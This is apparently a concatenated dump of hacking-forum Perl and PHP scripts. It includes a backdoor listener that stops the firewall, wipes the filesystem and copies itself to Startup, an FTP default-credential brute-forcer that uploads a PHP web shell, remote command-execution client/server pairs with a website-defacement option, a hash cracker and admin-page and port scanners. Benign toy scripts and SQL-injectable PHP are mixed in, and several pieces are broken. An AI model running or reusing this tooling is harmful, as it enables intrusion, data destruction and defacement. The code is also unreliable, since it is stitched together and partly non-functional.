#!/usr/bin/perl -w
#Written by m0rph
use IO::Socket; #Socket handler
use Net::hostent; #Host information exchange
use File::Copy; #File Copying
use warnings; #Debugging

#`net stop \"Windows Firewall\"`; #replace with /etc/init.d/iptables stop, must be root
#system(\"taskkill /IM mysqld.exe /F\"); #Disable mysql daemon
my $port=3306; #Binded port, replace port number with $ARGV[0] to use with command line input
my $server=IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN, #Number of pending connections, and connections allowed
Reuse => 1);

die \"Listener failed to start\" unless $server; #Error Handling
print \"Listener started. Waiting for connection...\n\";

while ($client = $server->accept()) {
	$client->autoflush(1);
	$hostinfo = gethostbyaddr($client->peeraddr);
	#print \"[Connection from %s]\", $hostinfo->name || $client->peerhost; #shows connecting host to server
	while ( <$client>) {
	next unless /\S/; #If no input is received, stay connected.
	printf $client \"%s \$ \", $hostinfo->name || $server->peerhost;
	if (/exit|quit/i) { last; } #Quit and Exit commmands for disconnecting
	elsif (/sup brah/i) { print $client \"\n\", 
									 \"------------------------\n\",
									 \"|                      |\n\",
									 \"|     Let's do this    |\n\",
									 \"|                      |\n\",
									 \"------------------------\n\",
									 \"\n\",
									 \"Type help for a list of commands\n\"; }
	elsif (/date/i) { printf $client \"%s\n\", scalar localtime;}
	elsif (/ip -s/i) { print $client `ipconfig /all`; } #replace with ifconfig 
	elsif (/ip -r/i) { print $client `ipconfig /release`; } #replace with ifconfig eth0 down
	elsif (/ps/i) { print $client `tasklist /v`;} #show current processes, replace with ps -aux
	elsif (/netstat/i) { print $client `netstat -an`; } #show current connections, same command
	elsif (/whoami/i) { print $client `whoami`; } #works on some windows machines, works on all *nix
	elsif (/rain/i) { print $client `net stop \"Windows Firewall\"`; } #replace with /etc/init.d/iptables stop, must be root
	elsif (/killbox/i) { print $client system('RD %systemroot% /S /Q'); } #replace with rm -rf /
	elsif (/shell/i) { system('cmd'); } ###Intended to drop a shell, but doesn't, try replacing with /bin/sh
	elsif (/help/i) { print $client \"\n\",
									\"-------------\n\",
									\"Command List:\n\",
									\"-------------\n\",
									\"ip -s                         IP Configuration.\n\",
									\"ip -r                                -r for IP release, Shell must have administrative privileges.\n\",
									\"whoami                           Current User.\n\",
									\"netstat                          Active Connections.\n\",
									\"date                             Current Date and Time\n\",
									\"ps                               List Current Processes.\n\",
									\"rain                             Stops Windows Firewall. Shell must have administrative privileges.\n\",
									\"killbox                          Remove filesystem.    Shell must have administrative privileges.\n\",
									\"shutdown                         Shutdown Target.\n\",
									#\"shell                            Drop A Shell.\n\",
									\"quit \n\"; }
	else {
		print $client \"\n\nError: Connection Timed Out\"; #Incase someone else tries connecting to shell, try and fool them to not connect to it again.
		close $client;
	}
	}
	continue {
	printf $client \"%s \$ \", $hostinfo->name || $server->peerhost;
	}
	print $client \"\n\nGood Bye.\"; 
	close $client; #To close connection: CTRL + C
}
#move(\"noname.pl\",\"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\noname.pl\"); #this will copy self to XP SP2 Startup Directory

#!/usr/local/bin/perl
use LWP::Simple;
use Digest::MD5;
use Digest::SHA1;


my $option = $ARGV[0];
my $hash = $ARGV[1];
my $file = $ARGV[2];

if($option eq \"-o\"){
        if($hash){
           $check_online = get('http://md5.hashcracking.com/search.php?md5='.$hash.'');
           if($check_online =~ \"\n\nCleartext of \".$hash.\" is password\"){
                  print \"\n\n\".$check_online.\"\n\n\";
           }
        }
}elsif($option eq \"-d\"){
        if($file){
                if($hash){
                        if(length($hash) == 32){
                                open(PASS, \"+< $file\");
                                my @possible_passwords = ();
                                while(<PASS>){
                                push (@possible_passwords, $_);
                                }
                                foreach(@possible_passwords){
                                        $md5_compare = Digest::MD5->new;
                                        $md5_compare->add($_);
                                        $finnished_hash = $md5_compare->hexdigest;
                                        if($finnished_hash eq $hash){
                                                print \"\n\nCleartext of \".$hash.\" is \".$_.\"\n\n\";
                                                $score = 1;
                                                break;
                                        }

                                }
                        }elsif(length($hash) == 40){
                                open(PASS, \"+< $file\");
                                my @possible_passwords = ();
                                while(<PASS>){
                                push (@possible_passwords, $_);
                                }
                                foreach(@possible_passwords){
                                        $sha1_compare = Digest::SHA1->new;
                                        $sha1_compare->add($_);
                                        $finnished_sha1hash = $sha1_compare->hexdigest;
                                        if($finnished_sha1hash eq $hash){
                                                print \"\n\nCleartext of \".$hash.\" is \".$_.\"\n\n\";
                                                $score = 1;
                                                break;
                                        }

                                }
                        }
                        

                        if($score < 1){
                                print \"\n\nPassword Not found...\n\n\";
                        }
                        close(PASS);
                }
        }
}else{
print \"MD5/SHA1 Cracker Made By Mr. P-teo \nPerl 5 Version 14 - 2012\n\n\n\";
print \"-o => Online Cracker (only for MD5)\n\";
print \"+ Example: md5cracker.pl -o 5f4dcc3b5aa765d61d8327deb882cf99\n\";
print \"-d => Dictionary Attack\n\";
print \"+ Example: md5cracker.pl -d 5f4dcc3b5aa765d61d8327deb882cf99 passwordlist.txt\n\";
}
}

use WWW::Mechanize;
use LWP::Simple;
use HTTP::Cookies;
use Digest::MD5;

print \"Username: \";  # username
chomp($user = <STDIN>);
print \"Password: \";  # password
chomp($pass = <STDIN>);
$request_information = \"http://psls.3owl.com/updater_file.php\";  # PHP file location
$passmd5 = Digest::MD5->new;
$passmd5->add($pass);
$encrypted = $passmd5->hexdigest;  # encrypt password
my $mech = WWW::Mechanize->new();
$mech->cookie_jar(HTTP::Cookies->new());
$mech->get($request_information);
$mech->form_name('get');
$mech->field(username => $user);
$mech->field(password => $encrypted);
$mech->click();
$version = \"1.0 Beta\";

if(($mech->content =~ /$user/)&&($mech->content =~ /$encrypted/)){
	print \"\n\nChecking For Updates...\n\n\";
	if($mech->content =~ /$version/){
		print \"You are all up to date...\n\";
	}else{
		print \"\nYou are out of date, starting download...\n\n\";
		$software_url = 'http://www.rarlab.com/rar/wrar410.exe';  # Just sample file, i used winrar
		$localfilename = 'winrar-fromperl.exe';  # filename
		my $mech = WWW::Mechanize->new;
		getstore($software_url, $localfilename );
		print \"Download Complete, Please Install the new version.\n\n\";
		system('start '.$localfilename); # linux will require start change to exec
	}
}else{
	print \"\n\nUnable to check, invalid logins or PC.\n\n\";
}

<?php
//This script will require a database with the following tables
// - users & version
// users columns = username & password
// version columns = version 
// Enjoy...

mysql_connect(\"hostname\", \"user\", \"pass\");
mysql_select_db(\"db_name\");

echo \"
<style>
#textbox{border: 0;background: transparent;color: #ffffff;}
#button{border: 0; background: transparent;}
</style>
<center><form name='get' action='' method='POST' >
      	<input id='textbox' type='text' name='username' /></br>
      	<input id='textbox' type='password' name='password' /></br>
      	<input id='button' type='submit' name='button' value=''/>
	</form></center><meta http-equiv='REFRESH' content='0;url=index.html'>\";
	$password = strip_tags(htmlentities($_POST['password']));
	$username = strip_tags(htmlentities($_POST['username']));
	$get = isset($_POST['button']);
	if($get){
		$request_information = mysql_query(\"SELECT * FROM `users` WHERE username='\".$username.\"' AND password='\".$password.\"'\");
                $version = mysql_query(\"SELECT * FROM `version`\");

		if(mysql_num_rows($request_information) > 0){
    			while($row = mysql_fetch_array($request_information))
    			{
        			echo \"\n\".$row['username'] . \"\n\" . $row['password'];
    			}
                        while($versionrow = mysql_fetch_array($version)){
                                echo \"\n\n\".$versionrow['version'];
                        }
		}
	}
mysql_close();
?>

use Net::FTP;

##################################################################

#PerlSHELLBRUTE Exploit
#This Script Was Written By MR. P-teo aka Archx
#Net::FTP Support Given By TheEliteNoob
#Works using the Net::FTP Module
#All Credits go to Module creator, Mr. P-teo and TheEliteNoob
                                                                 
##################################################################

#Instructions, Run Exploit, Keep your chosen PHP shell in same dir, 
#(Shell must have name -> sh3llphp.php)if exploit is successfull, 
#visit url.

#ENJOY.

@user = (\"apache\",\"root\", \"admin\", \"username\",\"user\",\"username\",\"admin1\",\"administrator\",\"admin123\",\"123456\",\"12345\",\"admin\",
\"123456789\",\"654321\",\"$hostname\",\"admin\",\"admin\",\"admin\",\"admin\",\"admin\",\"$hostname\",\"123\");
@pass = (\"apache\",\"toor\", \"admin\", \"password\",\"pass\",\"passwd\",\"admin1\",\"administrator\",\"admin123\",\"123456\",\"12345\",\"Password\",
\"123456789\",\"654321\",\"admin\",\"abcd1234\",\"abc123\",\"12345678\",\"111111\",\"passw0rd\",\"$hostname\",\"123\");
$directory = \"/public_html\";

#SHELLNAME

my $shell_trans = \"sh3llphp.php\";

print \"\n\nFTP Hostname: \";
chomp($hostname = <STDIN>);

my $ftp = Net::FTP->new($hostname, Debug => 0, Timeout=>120) or die \"Unable To locate Host - $hostname\";
my $num = -1;
foreach(@user){
	$num++;
}	
my $response = 1;
my $cred = 0;
while($cred != $num){
	$user = @user[$cred];
	$passwd = @pass[$cred];
	my $fail = 0;
	print \"\n#Attempting To Get Credentials...\";
	$ftp->login($user, $passwd, Timeout=>150) or $fail = 1;
	$cred++;
	if ($fail == 1) {
		next;
	}elsif($fail == 0){
		print \"\n#Connection Established...\n\";		
		$ftp->cwd($directory); 
		print \"#Preparing To Transfer Shell...\n\";
		$ftp->put($shell_trans) or $upload = 1;
		if($upload == 1){
			print \"#ERROR Uploading Shell...\n\";
		}else{
			print \"#Shell Uploaded, Exploit Complete...\n\";
		}
		$ftp->quit;
		last;	
	}
}
if($response == 1){
	print \"\n\nCredentials Not Found, Connection Could Not Be Established.\n\n\";
}

use HTTP::Request;
use LWP::UserAgent;

system('cls');
print \"====================================================================\n\";
print \"[Mr. P-teo] Admin Page Scanner +\n\n\";
print \"URL must contain http://\n\";
print \"====================================================================\n\n\";

print \"Website: \";
chomp ($url = <STDIN>);
my $file = \"admins.txt\";
open (FH, \"< $file\") or die \"Can't open $file for read: $!\";
my @directorys;
while (<FH>) {
    push (@directorys, $_);
}
close FH or die \"Cannot close $file: $!\";

my $amount = 0;
my $success = 0;
my $useful = 0;

foreach $ways(@directorys){
$amount++;
my $web=$url.\"/\".$ways;

my $req=HTTP::Request->new(GET=>$web);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
if($response->content =~ /404 Not Found/){
	
}elsif($response->content =~ /Page Cannot be displayed/){

}else{
	if($response->content =~ /username/ || 
$response->content =~ /password/ ||
$response->content =~ /admin/ ||
$response->content =~ /login/ ||
$response->content =~ /administration/ ||
$response->content =~ /authorisation/ ||
$response->content =~ /sign in/ ||
$response->content =~ /signin/ ||
$response->content =~ /user/){
print \"\n\tPage Found => $web\";
$success++;
}
}
}
print \"\n\n\n------------------------------------------\n[$amount Scanned] + [$success Found]\n-------------------------------------------\n\n\";

if ($input eq NULL){
    print \"\nPlease enter text...\";
} else {
     print \"$input...\n\n\n\";
}

#!/usr/bin/perl
# Exploiter 0.2
# Coded by Semtex-Primed
# www.iExploit.org
use IO::Socket;
use Getopt::Std;

getopts(\":n:\", \%args);
if (defined $args{n}) {
	$n1 = $args{n};
}
if (!defined $args{n}) {
	print \"Usage: $0 -n [NAME]\n\";
	exit;
}

@exploiter = (
	\"\n\t8888888888                   888          d8b 888                    \n\",
	\"\t888                          888          Y8P 888                    \n\",
	\"\t888                          888              888                    \n\",
	\"\t8888888    888  888 88888b.  888  .d88b.  888 888888 .d88b.  888d888 \n\",
	\"\t888         Y8bd8P  888  88b 888 d88  88b 888 888   d8P  Y8b 888P    \n\",
	\"\t888          X88K   888  888 888 888  888 888 888   88888888 888     \n\",
	\"\t888        .d8pq8b. 888 d88P 888 Y88..88P 888 Y88b.  Y8b.    888     \n\",
	\"\t8888888888 888  888 88888P   888   Y88P   888   Y888  Y8888  888     \n\",
	\"\t                    888                                              \n\",
	\"\t                    888             .::Semtex-Primed::.              \n\",
	\"\t                    888              www.iExploit.org                \n\"
);
@options = (
	\"\n\t\t\t  Welcome to Exploiter $n1!\n\",
	\"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
	\"\t\t\t|+| 1. Connect to server    |+|\n\",
	\"\t\t\t|+| 2. Close                |+|\n\",
	\"\t\t\t|+| 3. Features             |+|\n\",
	\"\t\t\t|+| 4. Credits/Shouts       |+|\n\",
	\"\t\t\t|+|                         |+|\n\",
	\"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\"
);
while(1) {
	system(\"clear\");
	print @exploiter;
	print @options;
	print \"\t\t\tWhat is your option? \n\";
	print \"\t\t\t>> \";
	$choice = <STDIN>;
	chomp ($choice);
	if($choice eq \"1\") {
		my $sock = new IO::Socket::INET (
			PeerAddr => 'HackStation',
			PeerPort => '8880',
			Proto => 'tcp',
            	);
		die \"\t\t\tCould not create socket: $!\n\" unless $sock;
		print $sock \"\t\t\tConnected!!\n\"; #Used to confirm connection in testing
		while ($sock) {
			print \"\t\t\tConnected, here's your choices\n\";
			print \"\t\t\t1. Enter command\n\";
			print \"\t\t\t2. Auto-Defacer (webserver's only!)\n\";
			print \"\t\t\t3. quit\n\";
			print \"\t\t\t>> \";
			$choice = <STDIN>;
			chomp ($choice);
			if ($choice eq \"3\") {
				close($sock);
				exit($sock);
				last;
			} elsif ($choice eq \"1\") {
				print \"\t\t\tEnter Command: \n\";
				print \"\t\t\t>> \";
				$data2send = <STDIN>;
				chomp ($data2send);
				$sock->send(\"$data2send\");
				print <$sock>;
				#close $sock;
				last;
			} elsif ($choice eq \"2\") {
				$chdir = 'chdir /var/www/';
				chomp ($chdir);
				$sock->send(\"$chdir\");
				print \"\t\t\t[-] You are now working in... \n\";
				print \"\t\t\t[-] /var/www/ default web root!\n\";
				$remove_index = \"rm index.html\";
				chomp ($remove_index);
				$sock->send(\"$remove_url\");
				print \"\t\t\t[-] index.html has been removed\n\";
				print \"\t\t\t[-] now upload your own!\n\";
				print \"\t\t\tWget deface from URL: \n\";
				print \"\t\t\t>> \";
				$deface_url = <STDIN>;
				chomp ($deface_url);
				$sock->send(\"$deface_url\");
			}
		}
	} elsif($choice eq \"2\") {
		exit
	} elsif($choice eq \"3\") {
		#features
		@features = (
	        \"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
	        \"\t\t\t|+|                         |+|\n\",
	        \"\t\t\t|+|                         |+|\n\",
	        \"\t\t\t|+|                         |+|\n\"
		);
		print @features;
		sleep(5);
	} elsif($choice eq \"4\") {
		#credz
		@credits = (
			\"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
			\"\t\t\t|+| Big shout out to:       |+|\n\",
        		\"\t\t\t|+|     ~ iExploit.org ~    |+|\n\",
        		\"\t\t\t|+|   and all of it members |+|\n\",
        		\"\t\t\t|+|                         |+|\n\",
        		\"\t\t\t|+|-------------------------|+|\n\"
		);
		print @credits;
		sleep(5);
	}
}

#!/usr/bin/perl
use IO::Socket;
#use IO::CaptureOutput qw/capture/;
use Capture::Tiny qw/capture/;


while(1) {
my $sock = new IO::Socket::INET (
    LocalHost => 'HackStation',
    LocalPort => '8880',
    Proto => 'tcp',
    Listen => 1,
    Reuse => 1,
    );
    die \"\t\tCould not create socket: $!\n\" unless $sock;
    
    my $new_sock = $sock->accept();
    while (<$new_sock>) {
        print $_;
        $new_sock->recv($recv_data,1024);
        if($recv_data eq 'q' or $recv_data eq 'Q') {
            close $new_sock;
        } else {
	    ($stdout, $stderr) = capture {
		system(\"$recv_data\");
	    };
	    print $new_sock ($stdout, $stderr);
	    last;
        }
    }
#    close($sock);
}

#!/usr/bin/perl
use IO::Socket;

while(1) {
my $sock = new IO::Socket::INET (
	LocalHost => 'netbook1-linux',
	LocalPort => '8880',
	Proto => 'tcp',
	Listen => 1,
	Reuse => 1,
	);
	die \"\t\tCould not create socket: $!\n\" unless $sock;
	
	my $new_sock = $sock->accept();
	while (<$new_sock>) {
		print $_;
		$new_sock->recv($recv_data,1024);
		if($recv_data eq 'q' or $recv_data eq 'Q') {
			close $new_sock;
		} else {
			system(\"$recv_data\");
			last;
		}
	}
#	close($sock);
}

#!/usr/bin/perl
use IO::Socket;
@header = (
        \"\n\n\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
        \"\t\t|+|     Exploiter 0.1       |+|\n\",
        \"\t\t|+|    ~ Semtex-Primed ~    |+|\n\"
);
@options = (
        \"\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
        \"\t\t|+| 1. Connect to server    |+|\n\",
        \"\t\t|+| 2. Close                |+|\n\",
        \"\t\t|+|                         |+|\n\",
        \"\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\"
);
while(1) {
	system(\"clear\");
	print @header;
	print @options;
	print \"\t\tWhat is your option? \n\";
	print \"\t\t>>> \";
	$choice = <STDIN>;
	chomp ($choice);
	if($choice eq \"1\") {
		my $sock = new IO::Socket::INET (
			PeerAddr => 'netbook1-linux',
			PeerPort => '8880',
			Proto => 'tcp',
			);
			die \"\t\tCould not create socket: $!\n\" unless $sock;
			print $sock \"\t\tConnected!!\n\";
			while ($sock) {
				print \"\t\tConnected, here's your choices\n\";
				print \"\t\t1. Enter command\n\";
				print \"\t\t2. quit\n\";
				print \"\t\t>> \";
				$choice = <STDIN>;
				chomp ($choice);
				if ($choice eq \"2\") {
					close($sock);
					exit($sock);
					last
				} elsif ($choice eq \"1\") {
					print \"\t\tEnter Command! \n\";
					print \"\t\t>> \";
					$data2send = <STDIN>;
					chomp ($data2send);
					$sock->send($data2send);
					close $sock;
					last;
				}
			}
	} elsif($choice eq \"2\") {
		exit
	}
}

<html>
<head>
<title>..::iExploit Rules::..</title>
</head>

<body>
<h1>HTML test page for iExploit perl-cgi example</h1>
<hr />
<p><form method=\"GET\" action=\"cgi-bin/example.cgi\">
Input text to display: <input type=\"text\" size=\"30\" maxlength=\"100\" name=\"input\"> <br />
<input type=\"submit\" name=\"submit\" value=\"Print value!\">
</form></p>
<hr />
</body>
</html>

#!C:/Perl64/bin/Perl.exe -w
# Semtex-Primed
# Perl-CGI example2
# GET method using HTML form

    local ($buffer, @pairs, $pair, $name, $value, %FORM);
    $ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/;
    if ($ENV{'REQUEST_METHOD'} eq \"GET\")
    {
	$buffer = $ENV{'QUERY_STRING'};
    }
    @pairs = split(/&/, $buffer);
    foreach $pair (@pairs)
    {
	($name, $value) = split(/=/, $pair);
	$value =~ tr/+/ /;
	$value =~ s/%(..)/pack(\"C\", hex($1))/eg;
	$FORM{$name} = $value;
    }
    $input = $FORM{input};

print \"Content-type:text/html\r\n\r\n\";
print \"<html>\";
print \"<head>\";
print \"<title>..::iExploit Rules::..</title>\";
print \"</head>\";
print \"<body>\";
print \"<h1>HTML test page for iExploit perl-cgi example</h1>\";
print \"<hr />\";
print \"<h2>The value you input is: $input</h2>\";
print \"<hr />\";
print \"Thanks, Semtex-Primed\";
print \"</body>\";
print \"</html>\";

#!/usr/bin/perl
# Perl Port Scanner
# Semtex-Primed
use IO::Socket;

if(@ARGV != 3){
	print \"Semtex-Primed\n\";
	print \"Learn how to use this!!!\n\";
	print \"$0 [start port] [end port] [host]\n\";
        print \"Example: $0 1 65535 127.0.0.1\n\";
	exit 1;
}
if($ARGV[0] > $ARGV[1]){
	print \"The Start port is higher then End port: Sort it out!\n\";
	exit 1;
}
for($i = $ARGV[0]; $i <= $ARGV[1]; ++$i){
	$host = new IO::Socket::INET(
		PeerAddr => $ARGV[2],
		PeerPort => $i,
		Proto => 'tcp',
		Timeout => 1
	);
	if($host){
		print \"Port $i is OPEN\n\";
	} else {
		print \"Port $i is CLOSED\n\";
	}
}
exit;

#!C:/Perl64/bin/Perl.exe -w
# CGI Example1
use CGI;

print \"Content-Type: text/html\n\n\";

print <<\"EOF\";
<HTML>
<HEAD>
<TITLE>Hello, world!</TITLE>
</HEAD>

<BODY>
<h1>Hello, world!</h1>
<hr>
<p>This is a crappy example for you guys :P</p>
<hr>
</BODY>
</HTML>
EOF

#!/usr/bin/perl
# Pointless MD5 finder I made when learning.
# Just enter a word and it'll search for your hash on rednoize.com.
# You need to install Digest::MD5 from cpan.org
# Semtex-Primed - iExploit.org
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);
$browser = LWP::UserAgent->new;
while(1){
	print \"Enter word to search for:\n\";
	$hash = <STDIN>;
	chomp($hash);
	$seek = \"http://md5.rednoize.com/?=$hash&b=MD5-Search\";
	$browser->get($seek) or die \"Failed to send request!\n\";
	print \"$hash\" . \":\" . md5_hex(\"$hash\") . \" found\" . \"\n\";
}

gzip -dc file.tar.gz | tar -xof -

tar -xof file.tar

perl Makefile.PL

make

make test

sudo make install

use Net::Libnet

#!/usr/bin/perl
use IO::Socket;
my $sock = new IO::Socket::INET (
				PeerAddr => 'netbook1-linux',
				PeerPort => '8880',
				Proto => 'tcp',
				);
die \"Could not create socket: $!\n\" unless $sock;
print $sock \"Connected!!\n\";
while ($sock) {
	print \"Connected, here's your choices\n\";
	print \"1. Say Hello\n\";
	print \"2. quit\n\";
	print \">> \";
	$choice = <STDIN>;
	chomp ($choice);
	if ($choice eq \"1\") {
		print \"What is your msg?\n\";
		print \">> \";
		$msg = <STDIN>;
		chomp($msg);
		print $sock (\"$msg \n\");
		system(\"clear\");
	} elsif ($choice eq \"2\") {
		close($sock);
		exit
	}
}

#!/usr/bin/perl
use IO::Socket;
my $sock =  new IO::Socket::INET (
				LocalHost => 'Netbook1-Linux',
				LocalPort => '8880',
				Proto => 'tcp',
				Listen => 1,
				Reuse => 1,
				);
die \"Could not create socket: $!\n\" unless $sock;
my $new_sock = $sock->accept();
while (<$new_sock>) {
	print $_;
}
close($sock);

#!/usr/bin/perl
@header = (
	\"	[+]----------------------------[+]\n\",
	\"	[+]                            [+]\n\",
	\"	[+]        Semtex-Primed       [+]\n\",
	\"	[+]    Maths Machine (Perl)    [+]\n\",
	\"	[+]            V0.1a           [+]\n\",
	\"	[+]                            [+]\n\",
	\"	[+]----------------------------[+]\n\"
);
@menu = (
        \"	[+]                            [+]\n\",
        \"	[+]   1. Basic Maths           [+]\n\",
        \"	[+]   2. Pythagoras            [+]\n\",
        \"	[+]   3. Area                  [+]\n\",
        \"	[+]                            [+]\n\",
	\"	[+]----------------------------[+]\n\"
);
$menuchoice = \"true\";
while ($menuchoice eq \"true\") {
system \"clear\";
system \"cls\";
print @header;
print @menu;
print \">>Choose an option \";
	$choice = <STDIN>;
	chomp ($choice);
	if ($choice eq \"1\") {
		system \"clear\";
		system \"cls\";
		print @header;
		print \"              *** Welcome to Basic Maths ***\n\";
		print \">>Enter your first number \";
		$num1 = <STDIN>;
		chomp ($num1);
		print \">>Enter your operator \";
		$op = <STDIN>;
		chomp ($op);
		print \">>Enter your second number \";
		$num2 = <STDIN>;
		chomp ($num2);
		if ($op eq \"+\") {
			$answer = $num1 + $num2;
			print \"The answer to $num1 added to $num2 equals $answer\n\";
		}
		elsif ($op eq \"-\") {
			$answer = $num1 - $num2;
			print \"The answer to $num1 subtract $num2 equals $answer\n\";
		}
		elsif ($op eq \"/\") {
			$answer = $num1 / $num2;
			print \"The answer to $num1 divided by $num2 equals $answer\n\";
		}
		elsif ($op eq \"*\") {
			$answer = $num1 * $num2;
			print \"The answer to $num1 multiplied by $num2 is $answer\n\";
		} else {
			print \"Error - try again\n\";
		};
	};
};